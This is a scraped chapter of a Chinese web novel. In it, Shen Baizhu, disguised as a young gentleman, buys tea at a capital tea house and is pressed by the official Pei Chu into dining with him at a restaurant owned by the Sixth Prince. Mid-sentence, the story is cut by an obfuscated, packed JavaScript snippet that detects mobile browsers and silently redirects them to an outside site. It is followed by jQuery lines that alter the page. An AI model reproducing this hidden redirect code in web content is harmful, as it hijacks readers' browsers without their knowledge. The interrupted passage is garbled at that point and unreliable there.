默认冷灰
24号文字
方正启体

18. 酒楼

作者:纪俏本书字数:K更新时间:
    原本以为会是父亲生前旧友,没想到竟同样阴阳两隔。


    沈白竹望着云风一头白发,心中百感交集。


    “父亲临终前还曾提起你父亲。”临走时云风将那罐茶叶赠与沈白竹,“两人相识已经是很多年前的事了,他中途写过许多封书信寄去,但一直没有收到回复。”


    “父亲生前举家搬迁数次,曾经的房子都给转让了。”沈白竹解释,“可能寄信时候的地址都是好久之前的。”


    “原来如此。”云风叹气,余光里大片绿影,心里不知是愁还是无奈,“他们二人实属无缘。”


    苏砚知在山脚给薛琴和薛书留了暗号让他们下山后直接回府,崔元的马车赶到时两人还未出山脚。


    崔元手中拿着两件披风,苏砚知接过替沈白竹披上,见她还是愁眉苦展,安慰道:“冬竹若是找不到,那就换个品种,普天之下可做生意的茶叶还有很多,我们慢慢来。”


    沈白竹摇头,“只是最近重新读过父亲的笔记,发现冬竹对他有特殊之意,我想弄清楚。”


    “好,我陪着你。”苏砚知道,“不如我们改日再来拜访这位云公子。”


    沈白竹抬头看着苏砚知,心中微暖,“谢谢你,砚知。”


    现下冬竹这个品种的茶叶暂时寻不到,沈白竹打算先买些其他品种的做些个小生意。


    但顶着沈姓免不了要招惹林家人来找事,沈白竹思来想去,给自己准备了一套男子衣物,并且取了个“白公子”的雅称。


    一张不施粉黛的脸配上一袭青衫长袍,显得格外英气,发簪依旧是刻了竹叶的白玉,额头碎发被发冠拢起来修理整齐,妥妥玉面少年郎。


    罗兰茹看了她都忍不住连连称赞,“我若是生了个儿子想必也是这番长相,真好看!”


    晓云随沈白竹穿了身小厮衣服,两人折扇一握,就这么大摇大摆出了门。


    裴初今日休沐,怀里揣着把裹了布的短刀正准备往沈白竹家里拐,但刚走到桥上视线中就闪过一道熟悉的身影。


    他下意识追着看了过去,半响才轻笑出声,脚下动作换了方向。


    今日沈白竹要去的是京城有名的茶行——福茗茶庄。


    沈白竹目前没有茶农的信息渠道,从源头进货不仅麻烦,而且费时费力,她不像沈良生前那般,有着众多生意关系好的相互沟通买卖消息。


    在茶行可以减少被骗的可能,并且对比多家茶叶,从中挑优。


    不过缺点就是价格要更高,因为茶行要收取佣金。


    “小……公子,我们要怎么看啊?”晓云停在门口,伸手拽了拽沈白竹的衣袖,一脸复杂地盯着里面挤满一屋子的人山人海。


    “……先进去再说。”沈白竹轻咳一下,刻意压低声线。


    两人挤在人堆里,一股难闻的臭味袭来,沈白竹忍不住拿帕子捂住口鼻,踮脚瞥了几眼店中摆放的货物。


    “有松萝茶吗?”沈白竹瞧见一位店小二打扮的,于是问道。


    “有的有的,公子要多少?”


    “我能先看看吗?”


    “可以的,公子您请先稍等,我们这边正在排队。”小二从身后搬来一个板凳,笑脸相迎地递给沈白竹,“您歇会儿?”


    “不用。”沈白竹摆手拒绝,扫了一眼周遭众人的背影,感觉自己若是坐下,不出片刻定会被挤成肉饼。


    约莫过了半炷香时间,沈白竹有些喘不上气来,店小二才匆匆从后厨端来一杯茶,一叠装了几片茶叶的盘子。


    这间茶庄的规矩向来是先喝茶,再看茶叶,最后定价。


    “这是松萝茶吗?”沈白竹捏起一片叶子细细打量,忍不住皱起眉头,“怎么感觉不太对啊?”


    晓云听了她这话也凑近些瞧,“公子,这是假的吗?”


    小二此时不在一旁候着,没听见两人谈话。


    沈白竹摇头,“倒也不假,只是品相有些不好罢了。”


    “前年清源大旱一连数月,这松萝能有收成已是万幸。”不知何时出现的裴初忽然道。


    沈白竹心中吐槽他怎么在哪都能碰上,但面色不变,转而面向裴初疑惑道:“裴大人这也知道?”


    裴初微笑:“前年皇上派我去清源察看灾情,了解得比较深而已。”


    沈白竹小声冷哼一声,放下茶叶,尝了一口茶水,喝起来倒也没差。


    沈白竹叫来那位小厮,问:“价格怎么说?”


    那人恭敬道:“三两一斤。”


    “三两?”沈白竹一愣,价格超出她的预期,“品相这么差劲还这么贵?!”


    还没等店小二解释,裴初倒是幽幽开口:“大旱导致收成少,但是松萝一如既往受欢迎,物以稀为贵的道理这位公子恐怕也是知晓的。”


    沈白竹:“……”


    沈白竹有些犹豫:“能低点吗?”


    店小二为难道:“公子,这我可做不了主,而且上头老板的规矩就是不砍价。”


    虽然京城热销松萝,不过也都是一些达官显贵爱喝,沈白竹如今客源稀缺,若真是有钱买了回去,说不定还难卖出呢。


    沈白竹望着面前瓷盘里的茶叶发呆,过了半响,才道:“还有其他便宜的吗?”


    “有的有的,公子可以看看这片区域的茶叶,虽不及松萝受欢迎,但口感以及卖相都是极佳的……”


    裴初双手抱胸饶有兴趣地盯着沈白竹的背影,看她熟练地同店员商讨、订货、付定金。


    直到沈白竹拿着签字画押的凭据准备出门,裴初才猛然回过神,见她奇怪地看了自己一眼,而后摇头失笑。


    “不知道公子愿不愿意赏脸陪在下吃顿饭?”裴初及时叫住沈白竹,眼神扫过她那把撑在胸前的纸扇。


    沈白竹瞪他一眼,干脆利落:“不愿意!”


    裴初继续道:“昨日我一属下在查封李家的时候,从他们嬷嬷那里搜到了一把短刀,因这刀并非俗物,我那属下就追问了一句,嬷嬷说是从婚配新娘手里拿走的,我一听,便觉得应该是你的。”


    沈白竹见他从袖口中拿出举到自己面前晃了晃,认出是苏砚知送给自己的,于是伸手要夺,“还给我!”


    裴初手立刻抬高到沈白竹够不到的位置,道:“你陪我吃顿饭,我就把刀给你。”


    沈白竹:“……”


    见裴初一脸认真,沈白竹内心骂了裴初八百遍,然后让晓云先自己回家。


    “走吧,裴大人。”沈白竹没好气道。


    裴初带沈白竹来的是最近生意爆火的一家酒楼,主要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871802|176246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是酒楼老板花大价钱从乐坊买来一名乐伶,人长得漂亮,嗓音好听,还弹得一手好琵琶。


    酒楼人来人往,其中大半都是为了听曲看美人。


    裴初提前预定了包厢,二楼西边,窗户打开刚好对准一楼正厅架起的高台。


    “看来裴大人是经常来酒楼听曲。”沈白竹正对着窗户,好奇地盯着底下在准备开场的几位姑娘。


    “沈公子可是冤枉在下了。”裴初走到她身边,同样俯身,“刑部公务繁忙,哪有时间。”


    “哦?是吗?”沈白竹侧身与他拉开距离,内心嗤笑,“我倒是觉得裴大人闲得很。”


    裴初挑眉:“先吃饭。”


    酒楼能留住客人,除了这声音美妙的伶人,自然还有后厨一份功劳。


    裴初点了一桌招牌菜,听说厨子也是酒楼老板精挑细选从一大堆祖上进过御膳房里找的,手艺无可挑剔。


    时令蔬菜,猛火爆炒,肥瘦相间的肉裹上生粉腌制后再热炒,口感吃起来嫩而不柴,几盘花花绿绿的漂亮糕点做得也不输天地坊,甜度适中,香而不腻。


    耳边是貌美伶人的莺声燕语,手边是色香味俱全的美食。


    沈白竹食指大动,忍不住吃了好多。


    前些日子一直休息不好,吃饭也没胃口,罗兰茹眼见她日渐消瘦忙煮的药膳也不管用,倒是没想到在这酒楼中,沈白竹吃得正开心。


    裴初没吃多少,只顾着给沈白竹夹菜,推荐菜。


    沈白竹嘴里嚼着块儿瘦肉,边看餐桌边抬眸瞥了一眼裴初,“裴大人了解这么清楚,还说没有常来?”


    裴初无奈摇头,“开业以来,这是第二回。”


    沈白竹一听“开业”二字,不免有些好奇,“它比云枕阁开得早?”


    “早了小半年。”裴初夹菜的手忽地顿住,转了个话题问她,“你知道这家酒楼老板是谁吗?”


    “谁?”


    “六皇子。”


    沈白竹喝茶的动作一顿,“六皇子?”


    裴初点头:“是啊,六皇子,就是不知道这几个皇子在想什么,一个两个都要做起生意来,是嫌宫中月禄少?”


    六皇子是除了七皇子以外最低调的一位皇子,生母是皇后寝宫的贴身丫鬟,得了一次宠幸后怀孕被封为贵人,按理说本该飞上枝头享清福,但没想到生产时大出血没了,留下六皇子在这孤苦无依的皇宫中受尽白眼。


    母亲没有家世背景支撑,又不得父亲宠爱,甚至还得罪了善妒的皇后,六皇子一出生便被丢进了下人堆里,没有皇子应有的一切待遇,长大后还被有权有势的三皇子欺负。


    也是近两年皇上不满皇后手伸得过长,想起了自己仅有的那几个儿子。皇上见六皇子过得还不如他宫里的太监好,于是盛怒,命掌事公公按皇子礼仪一一补偿他。


    后来,这位六皇子日子算是好了起来。


    苏麟元本来还担心他跑去同皇上告状,但见他依旧沉默寡言,一声不吭,这才放过他,久而久之,他这号人物都要被苏麟元忘了。


    “你倒是知道得挺多。”沈白竹又喝了两口热茶,拿起一侧干净的手帕擦了擦。


    “如今时局动荡,我只是害怕在一棵树上吊死。”裴初倒了杯酒,望着沈白竹一饮而尽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)